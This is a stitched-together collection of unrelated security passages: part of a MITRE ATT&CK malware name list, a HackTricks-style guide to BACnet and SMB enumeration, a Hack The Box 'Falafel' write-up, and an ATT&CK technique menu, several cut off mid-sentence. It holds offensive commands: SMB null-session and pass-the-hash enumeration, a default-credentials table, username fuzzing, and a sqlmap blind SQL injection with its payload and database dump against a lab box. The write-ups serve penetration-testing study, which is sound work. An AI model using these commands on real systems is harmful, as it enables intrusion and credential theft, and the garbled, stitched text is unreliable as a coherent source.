SILENTTRINITY SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx StrongPity Stuxnet SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo SysUpdate T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest ThreatNeedle Tiktok Pro TinyTurla TINYTYPHON TinyZBot Tomiris Tor Torisma TrailBlazer Triada TrickBot TrickMo Triton Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer VPNFilter W-X WannaCry WarzoneRAT WastedLocker Waterbear WEBC WellMail WellMess Wevtutil WhisperGate Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib Zox
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versions_v11_software_S0263.txt
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- [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/) - [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/) {{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}} # Protocol Information **BACnet** is a **communications protocol** for Building Automation and Control (BAC) networks that leverages the **ASHRAE**, **ANSI**, and **ISO 16484-5 standard** protocol. It facilitates communication among building automation and control systems, enabling applications such as HVAC control, lighting control, access control, and fire detection systems to exchange information. BACnet ensures interoperability and allows computerized building automation devices to communicate, regardless of the specific services they provide. **Default port:** ```text PORT STATE SERVICE 47808/udp open BACNet -- Building Automation and Control NetworksEnumerate ``` # Enumeration ## Manual ```bash pip3 install BAC pip3 install netifaces import BAC import time myIP = '<Your IP>/<MASK>' #You need to be on the same subnet as the bacnet device. Example: '192.168.1.4/24' bacnet = BAC0.connect(ip=myIP) bacnet.whois() #Broadcast request of bacnet devices time.sleep(5) #Wait for devices to respond for i, (deviceId, companyId, devIp, numDeviceId) in enumerate(bacnet.devices): print(f"-------- Device #{numDeviceId} --------") print(f"Device: {deviceId}") print(f"IP: {devIp}") print(f"Company: {companyId}") readDevice = bacnet.readMultiple(f"{devIp} device {numDeviceId} all") print(f"Model Name: {readDevice[11]}") print(f"Version: {readDevice[2]}") # print(readDevice) #List all available info about the device ``` ## Automatic ```bash nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP> ``` This script does not attempt to join a BACnet network as a foreign device, it simply sends BACnet requests directly to an IP addressable device. ## Shodan - `port:47808 instance` - `"Instance ID" "Vendor Name"` {{#include ../banners/hacktricks-training.md}} # 139,445 - Pentesting SMB {{#include ../banners/hacktricks-training.md}} ## **Port 139** The _**Network Basic Input Output System**_** (NetBIOS)** is a software protocol designed to enable applications, PCs, and Desktops within a local area network (LAN) to interact with network hardware and **facilitate the transmission of data across the network**. The identification and location of software applications operating on a NetBIOS network are achieved through their NetBIOS names, which can be up to 16 characters in length and are often distinct from the computer name. A NetBIOS session between two applications is initiated when one application (acting as the client) issues a command to "call" another application (acting as the server) utilizing **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port Technically, Port 139 is referred to as ‘NBT over IP’, whereas Port 445 is identified as ‘SMB over IP’. The acronym **SMB** stands for ‘**Server Message Blocks**’, which is also modernly known as the **Common Internet File System (CIFS)**. As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network. For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB. Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server. ### IPC$ Share Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of: - Information on the operating system - Details on the parent domain - A compilation of local users and groups - Information on available SMB shares - The effective system security policy This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured. ```bash enum4linux -a target_ip ``` The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`. ## What is NTLM If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about **NTLM** where is explained **how this protocol works and how you can take advantage of it:** {{#ref}} ../windows-hardening/ntlm/ {{#endref}} ## **Server Enumeration** ### **Scan** a network searching for hosts: ```bash nbtscan -r 192.168.0.1/ ``` ### SMB server version To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can: - Use the **MSF** auxiliary module _**auxiliary/scanner/smb/smb_version**_ - Or this script: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep . ``` ### **Search exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **Possible** Credentials | **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | | _(blank)_ | _(blank)_ | | guest | _(blank)_ | | Administrator, admin | _(blank)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | ### Brute Force - [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb) ### SMB Environment Information ### Obtain Information ```bash #Dump interesting information enum4linux -a [-u "<username>" -p "<passwd>"] <IP> enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP> nmap --script "safe or smb-enum-*" -p 445 <IP> #Connect to the rpc rpcclient -U "" -N <IP> #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" <IP> #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address> #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address> ``` ### Enumerate Users, Groups & Logged On Users This info should already being gathered from enum4linux and enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10. enumdomusers enumdomgroups ``` ### Enumerate local users [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash lookupsid.py -no-pass hostname.local ``` Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` ### Metasploit - Enumerate local users ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### **Enumerating LSARPC and SAMR rpcclient** {{#ref}} pentesting-smb/rpcclient-enumeration.md {{#endref}} ### GUI connection from linux #### In the terminal: `xdg-open smb://cascade.htb/` #### In file browser window (nautilus, thunar, etc) `smb://friendzone.htb/general/` ## Shared Folders Enumeration ### List shared folders It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**. ```bash smbclient --no-pass -L //<IP> # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H <IP> [-P <PORT>] #Null user smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list crackmapexec smb <IP> -u '' -p '' --shares #Null user crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user ``` ### **Connect/List a shared folder** ```bash #Connect using smbclient smbclient --no-pass //<IP>/<Folder> smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit
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hacktricks_corpus.txt
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HTB: Falafel hackthebox htb-falafel ctf wfuzz sqlmap sqli type-juggling php upload webshell framebuffer dev-fb0 debugfs oswe-like oscp-plus-v Jun 23, HTB: Falafel Falafel is one of the best put together boxes on HTB. The author does a great job of creating a path with lots of technical challenges that are both not that hard and require a good deal of learning and understanding what’s going on. And there are hints distributed to us along the way. Box Info Name Falafel Play on HackTheBox Release Date 03 Feb Retire Date 04 May OS Linux Base Points Hard [40] Rated Difficulty Radar Graph 03:14:29 Geluchat 23:17:32 Geluchat Creators dm0n Stylish nmap As always, get started with an nmap scan of the box. http and ssh are open: root@kali# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10. Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-13 05:43 EDT Nmap scan report for 10.10.10. Host is up (0.10s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds root@kali# nmap -sC -sV -p 80,22 -oA nmap/scripts 10.10.10. Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-13 05:47 EDT Nmap scan report for 10.10.10. Host is up (0.094s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA) | 256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA) |_ 256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/*.txt |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Falafel Lovers Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.18 seconds There’s also a robots.txt file with a disallow entry for “*.txt”. That’s a hint to include that in a gobuster run (though I always include .txt anyway). Port 80 - http site There’s a page for FalafeLoves, with a home and a login button: The login link leads to http://10.10.10.73/login.php: gobuster Having seen both the robots.txt and the login.php page, let’s start more enumeration looking for .txt, .php, and .html: root@kali# gobuster -u http://10.10.10.73 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t Gobuster v1.4.1 OJ Reeves (@TheColonial) ===================================================== ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.73/ [+] Threads : [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 200,204,301,302, [+] Extensions : .txt,.php,.html ===================================================== /images (Status: 301) /login.php (Status: 200) /profile.php (Status: 302) /index.php (Status: 200) /uploads (Status: 301) /header.php (Status: 200) /assets (Status: 301) /footer.php (Status: 200) /upload.php (Status: 302) /css (Status: 301) /style.php (Status: 200) /js (Status: 301) /logout.php (Status: 302) /robots.txt (Status: 200) /cyberlaw.txt (Status: 200) /connection.php (Status: 200) ===================================================== Most interesting is the discovery of cyberlaw.txt: From: Falafel Network Admin (admin@falafel.htb) Subject: URGENT!! MALICIOUS SITE TAKE OVER! Date: November 25, 2017 3:30:58 PM PDT To: lawyers@falafel.htb, devs@falafel.htb Delivery-Date: Tue, 25 Nov 2017 15:31:01 - Mime-Version: 1. X-Spam-Status: score=3.7 tests=DNS_FROM_RFC_POST, HTML_00_10, HTML_MESSAGE, HTML_SHORT_LENGTH version=3.1. X-Spam-Level: *** A user named "chris" has informed me that he could log into MY account without knowing the password, then take FULL CONTROL of the website using the image upload feature. We got a cyber protection on the login form, and a senior php developer worked on filtering the URL of the upload, so I have no idea how he did it. Dear lawyers, please handle him. I believe Cyberlaw is on our side. Dear develpors, fix this broken site ASAP. ~admin This lays out a path to code exec. It also hints at a user named “chris”. Website Access - Chris Username Discovery - wfuzz When you submit an incorrect username and password, the site responds with “try again”: However, when you submit an incorrect password with username admin, it says “Wrong identification: admin”: This suggests that we can confirm valid user names based on the changing message. We’ll use wfuzz. We can see in burp that logging in submits a POST to /login.php, with post fields “username” and “password”. We’ll start with wfuzz -c -w /opt/SecLists/Usernames/Names/names.txt -d "username=FUZZ&password=abcd" -u http://10.10.10.73/login.php, where -c is for colored output, -w specifies a wordlist (in this case from Daniel Miessler’s SecLists), -d is the post data, where FUZZ is what wfuzz will replace with items from the wordlist, and -u is the url. root@kali# wfuzz -c -w /opt/SecLists/Usernames/Names/names.txt -d "username=FUZZ&password=abcd" -u http: //10.10.10.73/login.php ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.73/login.php Total requests: ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=200 102 L 657 W 7074 Ch "aaliyah" 000002: C=200 102 L 657 W 7074 Ch "aaren" 000004: C=200 102 L 657 W 7074 Ch "aaron" 000041: C=200 102 L 657 W 7074 Ch "achal" 000042: C=200 102 L 657 W 7074 Ch "achamma" ^C Finishing pending requests... Now that we see that a non-existent username returns a response that’s 7074 characters, let’s exclude that result, using the --hh 7074: root@kali# wfuzz -c -w /opt/SecLists/Usernames/Names/names.txt -d "username=FUZZ&password=abcd" -u http://10.10.10.73/login.php --hh ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.73/login.php Total requests: ================================================================== ID Response Lines Word Chars Payload ================================================================== 000086: C=200 102 L 659 W 7091 Ch "admin" 001883: C=200 102 L 659 W 7091 Ch "chris" Total time: 328. Processed Requests: Filtered Requests: Requests/sec.: 30. So we confirmed two accounts, admin and chris. SQL Injection - sqlmap basic sqlmap Getting sqlmap to find this took a bit of work. When I was first doing this box, I got it to work somehow using the --tamper-data but I both couldn’t repeat that, and don’t really understand why it worked. What we can do is use the fact that we have a field in username that changes based on if the username is good to do blind injection. That is done with the --string option. First, grab a request from burp, which we’ll save using the copy to file option: root@kali# cat login-chris.request POST /login.php HTTP/1. Host: 10.10.10. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0. Accept-Language: en-US,en;q=0. Accept-Encoding: gzip, deflate Referer: http://10.10.10.73/login.php Content-Type: application/x-www-form-urlencoded Content-Length: Cookie: PHPSESSID=g9kp8du6ofpc7g8m5d81nt2c Connection: close Upgrade-Insecure-Requests: username=chris&password=chris I started with the following command: sqlmap -r login-chris.request --level 5 --risk 3 --batch, but it didn’t result in any hits. At the end of a failed run it returns this message: [22:18:32] [CRITICAL] all tested parameters do not appear to be injectable. Also, you can try to rerun by providing a valid value for option '--string' as perhaps the string you have chosen does not match exclusively True responses. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') sqlmap –string To test a blind injection, we can look for output on the page that changes based on our input. We know the username field gives us “Try again” when the name doesn’t exist, and “Wrong identification : admin” when the name does. If you check out the man pages for sqlmap, the --string option says “–string=STRING String to match when query is evaluated to True”. There’s also a --not-string, which is when the query is false. Because it’s clear that the site is first doing a query with just the username, to see if it exists, before checking the password, that returns true is the username exists. So if there username field is injectable, then we can tell sqlmap to check that using the --string option. root@kali# sqlmap -r login-chris.request --level 5 --risk 3 --batch --string "Wrong identification" ___ __H__ ___ ___[)]_____ ___ ___ {1.2.5#stable} |_ -| . [(] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org ... [08:25:48] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' ... [08:26:26] [INFO] checking if the injection point on POST parameter 'username' is a false positive POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 301 HTTP(s) requests: --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=chris' AND 8059=8059-- GlxT&password=chris --- [08:26:31] [INFO] testing MySQL [08:26:31] [INFO] confirming MySQL [08:26:31] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial) web application technology: Apache 2.4. back-end DBMS: MySQL >= 5.0. [08:26:31] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.73' Got it! Let’s now dump the database: root@kali# sqlmap -r login-chris.request --level 5 --risk 3 --batch --string "Wrong identification" --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.2.5#stable} |_ -| . ["] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V |_| http://sqlmap.org ... 08:31:30] [INFO] testing if the provided string is within the target URL page content sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=chris' AND 8059=8059-- GlxT&password=chris --- [08:31:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial) web application technology: Apache 2.4. back-end DBMS: MySQL ... [08:31:30] [INFO] retrieved: falafel [08:31:39] [INFO] fetching tables for database: 'falafel' [08:31:39] [INFO] fetching number of tables for database 'falafel' [08:31:39] [INFO] retrieved: [08:31:39] [INFO] retrieved: users
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2018_06_23_htb-falafel.html.txt
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Currently viewing ATT&CK v7.0-beta which was live between March 31, 2020 and July 7, 2020. Learn more about the versioning system or see the live site. You are currently viewing the sub-techniques beta. Take a tour, read the blog post or release notes, or see the non-beta version of the site. TECHNIQUES PRE-ATT&CK Priority Definition Planning Assess current holdings, needs, and wants Assess KITs/KIQs benefits Assess leadership areas of interest Assign KITs/KIQs into categories Conduct cost/benefit analysis Create implementation plan Create strategic plan Derive intelligence requirements Develop KITs/KIQs Generate analyst intelligence requirements Identify analyst level gaps Identify gap areas Receive operator KITs/KIQs tasking Priority Definition Direction Assign KITs, KIQs, and/or intelligence requirements Receive KITs/KIQs and determine requirements Submit KITs, KIQs, and intelligence requirements Task requirements Target Selection Determine approach/attack vector Determine highest level tactical element Determine operational element Determine secondary level tactical element Determine strategic target Technical Information Gathering Acquire OSINT data sets and information Conduct active scanning Conduct passive scanning Conduct social engineering Determine 3rd party infrastructure services Determine domain and IP address space Determine external network trust dependencies Determine firmware version Discover target logon/email address format Enumerate client configurations Enumerate externally facing software applications technologies, languages, and dependencies Identify job postings and needs/gaps Identify security defensive capabilities Identify supply chains Identify technology usage patterns Identify web defensive services Map network topology Mine technical blogs/forums Obtain domain/IP registration information Spearphishing for Information People Information Gathering Acquire OSINT data sets and information Aggregate individual's digital footprint Conduct social engineering Identify business relationships Identify groups/roles Identify job postings and needs/gaps Identify people of interest Identify personnel with an authority/privilege Identify sensitive personnel information Identify supply chains Mine social media Organizational Information Gathering Acquire OSINT data sets and information Conduct social engineering Determine 3rd party infrastructure services Determine centralization of IT management Determine physical locations Dumpster dive Identify business processes/tempo Identify business relationships Identify job postings and needs/gaps Identify supply chains Obtain templates/branding materials Technical Weakness Identification Analyze application security posture Analyze architecture and configuration posture Analyze data collected Analyze hardware/software security defensive capabilities Analyze organizational skillsets and deficiencies Identify vulnerabilities in third-party software libraries Research relevant vulnerabilities/CVEs Research visibility gap of security vendors Test signature detection People Weakness Identification Analyze organizational skillsets and deficiencies Analyze social and business relationships, interests, and affiliations Assess targeting options Organizational Weakness Identification Analyze business processes Analyze organizational skillsets and deficiencies Analyze presence of outsourced capabilities Assess opportunities created by business deals Assess security posture of physical locations Assess vulnerability of 3rd party vendors Adversary OPSEC Acquire and/or use 3rd party infrastructure services Acquire and/or use 3rd party software services Acquire or compromise 3rd party signing certificates Anonymity services Common, high volume protocols and software Compromise 3rd party infrastructure to support delivery Data Hiding Dynamic DNS Host-based hiding techniques Misattributable credentials Network-based hiding techniques Non-traditional or less attributable payment options Obfuscate infrastructure Obfuscate operational infrastructure Obfuscate or encrypt code Obfuscation or cryptography OS-vendor provided communication channels Private whois services Proxy/protocol relays Secure and protect infrastructure Establish & Maintain Infrastructure Acquire and/or use 3rd party infrastructure services Acquire and/or use 3rd party software services Acquire or compromise 3rd party signing certificates Buy domain name Compromise 3rd party infrastructure to support delivery Create backup infrastructure Domain registration hijacking Dynamic DNS Install and configure hardware, network, and systems Obfuscate infrastructure Obtain booter/stressor subscription Procure required equipment and software Shadow DNS SSL certificate acquisition for domain SSL certificate acquisition for trust breaking Use multiple DNS infrastructures Persona Development Build social network persona Choose pre-compromised mobile app developer account credentials or signing keys Choose pre-compromised persona and affiliated accounts Develop social network persona digital footprint Friend/Follow/Connect to targets of interest Obtain Apple iOS enterprise distribution key pair and certificate Build Capabilities Build and configure delivery systems Build or acquire exploits C2 protocol development Compromise 3rd party or closed-source vulnerability/exploit information Create custom payloads Create infected removable media Discover new exploits and monitor exploit-provider forums Identify resources required to build capabilities Obtain/re-use payloads Post compromise tool development Remote access tool development Test Capabilities Review logs and residual traces Test ability to evade automated mobile application security analysis performed by app stores Test callback functionality Test malware in various execution environments Test malware to evade detection Test physical access Test signature detection for file upload/email filters Stage Capabilities Disseminate removable media Distribute malicious software development tools Friend/Follow/Connect to targets of interest Hardware or software supply chain implant Port redirector Upload, install, and configure software/tools Enterprise Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Bash VBScript Python Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Windows Management Instrumentation Persistence Account Manipulation Additional Azure Service Principal Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script Rc.common Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription .bash_profile and .bashrc Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking Implant Container Image Office Application Startup Add-ins Office Template Macros Outlook Forms Outlook Rules Outlook Home Page Office Test Pre-OS Boot System Firmware Component Firmware Bootkit Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Access Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script Rc.common Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription .bash_profile and .bashrc Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Group Policy Modification Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Doppelgänging Process Hollowing VDSO Hijacking Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Access Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Deobfuscate/Decode Files or Information Direct Volume Access Execution Guardrails Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Group Policy Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking Impair Defenses Disable or Modify Tools Disable Windows Event Logging HISTCONTROL Disable or Modify System Firewall Indicator Blocking Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name
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versions_v7-beta_techniques_T1405.txt
